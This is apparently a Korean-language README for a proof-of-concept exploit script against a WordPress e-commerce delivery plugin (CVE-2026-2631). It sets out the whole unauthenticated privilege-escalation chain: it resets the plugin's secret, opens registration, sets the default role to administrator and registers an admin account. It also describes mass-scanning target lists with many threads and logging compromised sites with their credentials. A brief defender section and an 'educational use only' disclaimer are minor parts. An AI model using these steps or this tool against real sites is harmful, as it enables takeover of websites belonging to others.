
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - 인증되지 않은 권한 상승
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - 인증되지 않은 권한 상승
PoC / 익스플로잇 스크립트:
CVE-2026-2631.py
작성자: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
연락처: Telegram:@Kxploit
< 2.6.60 (제외)CVE-2026-26319.8 (Critical)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HDatalogics Ecommerce Delivery – Datalogics 플러그인은 인증되지 않은 엔드포인트를 노출합니다:
/wp-json/gsf/v1/update-options
이 스크립트는 해당 엔드포인트를 악용하여 다음을 수행합니다:
resetStoreConfigrations 액션을 사용하여 내부 shop_secret 키를 초기화합니다.users_can_register = 1.administrator로 설정합니다: default_role = administrator.wp-login.php?action=register성공하면 등록 양식을 통해 생성된 모든 새 사용자는 **관리자(administrator)**가 됩니다.
users_can_register = 1default_role = administratorrich를 사용한 풍부한 TUI 출력 (색상 및 실시간 업데이트 테이블)Login_admin.txt에 결과 로깅필요한 패키지 설치:
pip install -r requirements.txt
requirements.txt 예시:
requests
rich
urllib3
또는 수동으로 설치:
pip install requests rich urllib3
각 대상에 대해:
URL 정규화
http://가 앞에 추가되도록 합니다.shop_secret 초기화
/wp-json/gsf/v1/update-optionsaction = resetStoreConfigrationsshop_secret = <new_secret>app secret key has been updated successfullyWordPress 옵션 업데이트
action = createUpdateOptionoption_key = users_can_register, option_value = 1option_key = default_role, option_value = administratorlist.txt(또는 사용자 지정 파일)에서 모든 대상을 읽습니다.chunkify를 사용하여 대상을 N개 청크로 나눕니다.N개의 작업자 스레드를 실행하고 각 스레드는 자체 대상 목록을 처리합니다.Queue를 사용합니다.printer_loop)가 실시간 rich 테이블을 업데이트합니다:
python3 CVE-2026-2631.py
다음 항목을 대화형으로 입력하라는 메시지가 표시됩니다:
대상 파일
Targets file (one host/URL per line) [list.txt]:list.txtvictim.comhttps://target-site.comhttp://example.org/blog스레드
Threads (1-50) [10]:1050shop_secret 값
shop_secret [Nxploited_newSecret]:Nxploited_newSecretresetStoreConfigrations로 전송되는 새 비밀 키입니다.이 자격 증명은 각 취약한 대상에 대한 등록 시도에 사용됩니다.
한 줄에 하나의 대상을 포함하는 list.txt(또는 원하는 파일)를 생성합니다:
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org
스크립트는 다음을 수행합니다:
http://를 자동으로 추가합니다./를 제거합니다.모든 성공적인 작업(사용자 등록이 실패하더라도 옵션이 설정된 경우)은 다음 파일에 기록됩니다:
Login_admin.txt
일반적인 줄:
http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
실시간 테이블의 상태 예시:
SUCCESS – 옵션 설정 및/또는 사용자 등록됨.FAILED – 초기화/옵션 실패, 취약점 악용 불가.ERROR – 예외, 네트워크 오류, 시간 초과 등.POST /wp-json/gsf/v1/update-options
shop_secret 초기화action=resetStoreConfigrations
shop_secret=<new_secret>
action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator
GET/POST /wp-login.php?action=register
스크립트:
_wpnonce를 추출합니다.normalize_site(raw: str) -> str
대상 URL을 정규화합니다.
send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
resetStoreConfigrations 액션을 시도합니다.
send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
취약한 엔드포인트를 통해 WordPress 옵션을 설정합니다.
check_registration_open(site: str, timeout: int = 10) -> (bool, str)
등록이 열려 있고 양식에 접근할 수 있는지 확인합니다.
try_register_user(...) -> (bool, str)
제공된 사용자를 등록하려고 시도합니다.
write_success_line(site: str, secret: str, detail: str)
성공 세부 정보를 Login_admin.txt에 기록합니다.
worker(...)
스레드별 작업자:
shop_secret 초기화$ python3 CVE-2026-2631.py
[Banner / ASCII Art]
Targets file (one host/URL per line) [list.txt]:
> list.txt
Threads (1-50) [10]:
> 20
shop_secret [Nxploited_newSecret]:
> NxSecret2026!
Registration username [Nx_test1]:
> admin_nx
Registration email [[email protected]]:
> [email protected]
Registration password [Nx_adminSA]:
> SuperStrongP@ss!
[Live table starts showing each target’s status]
Processed 5/20 targets · Output: Login_admin.txt
Done. Successful sites (if any) saved to Login_admin.txt.
방어자 / 사이트 소유자를 위한:
wp_users의 최근 등록./wp-json/gsf/v1/update-options/wp-login.php?action=register이 스크립트는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
이 약관에 동의하지 않는 경우 이 스크립트를 사용하지 마세요.
CVE-2026-2631@Kxploit안전을 유지하고 책임감 있게 해킹하세요. 🕶️💻
wordpress option has been created or updated successfully등록이 열려 있는지 확인
/wp-login.php?action=registerUsers can register, Anyone can register, user_registration, registerformuser registration is currently not allowed사용자 등록 시도
_wpnonce를 추출합니다.user_login, user_emailuser_pass/user_pass2_wpnonce, _wp_http_referer, redirect_to, wp-submit=Registerregistration complete, check your email, user registereduser_already_exists로깅
Login_admin.txt<site> | register_url: <url> | shop_secret: <secret> | <details>
등록 자격 증명
Registration username [Nx_test1]:Registration email [[email protected]]:Registration password [Nx_adminSA]:printer_loop(queue: Queue, total: int)
큐에서 메시지를 읽고 rich 실시간 테이블 UI를 업데이트합니다.
main()
다음을 조율합니다: